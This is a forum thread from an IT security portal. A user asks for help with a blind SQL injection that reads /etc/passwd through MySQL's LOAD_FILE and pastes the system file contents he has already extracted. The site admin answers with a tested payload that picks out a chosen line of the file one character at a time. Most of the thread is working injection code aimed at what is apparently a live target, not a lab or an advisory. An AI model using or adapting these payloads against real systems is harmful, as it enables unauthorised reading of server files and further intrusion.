Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 4, 2020
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 260
Members: 0
Total: 260
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Problem with SQL blind..'LIMIT'
Post new topic  Reply to topic View previous topic :: View next topic 
Problem with SQL blind..'LIMIT'
PostPosted: Mon Jan 18, 2010 4:04 pm Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




Hey,

Code:
AND (substring((SELECT load_file('/etc/passwd') limit 0,1),1,1)='r')


I have a SQL blind ...and I wanna selecte a line into the file that I load'..When i try like that I just got the first one..

Code:
root:x..


So I want to choose another line for example as "www-data:x:33:33:www-data:/v.." I have tried with LIMIT x,y but it gave me the same result.. Need a solution please..

Code:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
dhcp:x:101:101::/nonexistent:/bin/false
syslog:x:102:102::/home/syslog:/bin/false
klog:x:103:103::/home/klog:/bin/false
cupsys:x:100:106::/home/cupsys:/bin/false
messagebus:x:104:107::/var/run/dbus:/bin/false


Plz need help, is very important for me..and Thank's in advanced...
View user's profile Send private message Visit poster's website
PostPosted: Mon Jan 18, 2010 5:52 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




LOAD_FILE() does read in full contents of the file. In "/etc/password" lines are separated with newlines ("\n"), but still you can access all lines by using SUBSTRING() function in MySql. "LIMIT" is not needed here!
And if you want to access specific line in file directly, then use MySql string functions to find needed newline position and then substring with offset can do the work.

http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring-index

Code:

Posted by Bob Collins on March 17 2006 8:56pm   [Delete] [Edit]

MySQL does not include a function to split a delimited string. Although separated data would normally be split into separate fields within a relation data, spliting such can be useful either during initial data load/validation or where such data is held in a text field.

The following formula can be used to extract the Nth item in a delimited list, in this case the 3rd item "ccccc" in the example comma separated list.

select replace(substring(substring_index('aaa,bbbb,ccccc', ',', 3), length(substring_index('aaa,bbbb,ccccc', ',', 3 - 1)) + 1), ',', '') ITEM3

The above formula does not need the first item to be handled as a special case and returns empty strings correctly when the item count is less than the position requested.

View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Jan 19, 2010 1:25 pm Reply with quote
kr0k0
Advanced user
Advanced user
 
Joined: Jan 26, 2008
Posts: 128




Euh can you give me somes examples waraxe? with columns or load_file() function cuz I just have tried this and it doesnt workin'..Sorry and thank's for all things...


Code:
AND ascii(substring((SELECT SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),'\n',1)),1,1))>114


It give me just the same results as first.. ( root:...)

I'm waiting.. Rolling Eyes
View user's profile Send private message Visit poster's website
PostPosted: Tue Jan 19, 2010 2:13 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I did some practical tests in phpmyadmin and here is working example:

Code:

SELECT REPLACE(SUBSTRING(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9),LENGTH(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9-1))+1),0x0a,'')


This piece of sql code will select 9-th line from "/etc/passwd".
Next you must put this code inside your sql payload:

Code:

AND (SUBSTRING((SELECT REPLACE(SUBSTRING(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9),LENGTH(SUBSTRING_INDEX(LOAD_FILE('/etc/passwd'),0x0a,9-1))+1),0x0a,'')),1,1)='w')
View user's profile Send private message Send e-mail Visit poster's website
Problem with SQL blind..'LIMIT'
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Nvidia GeForce Reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.056 Seconds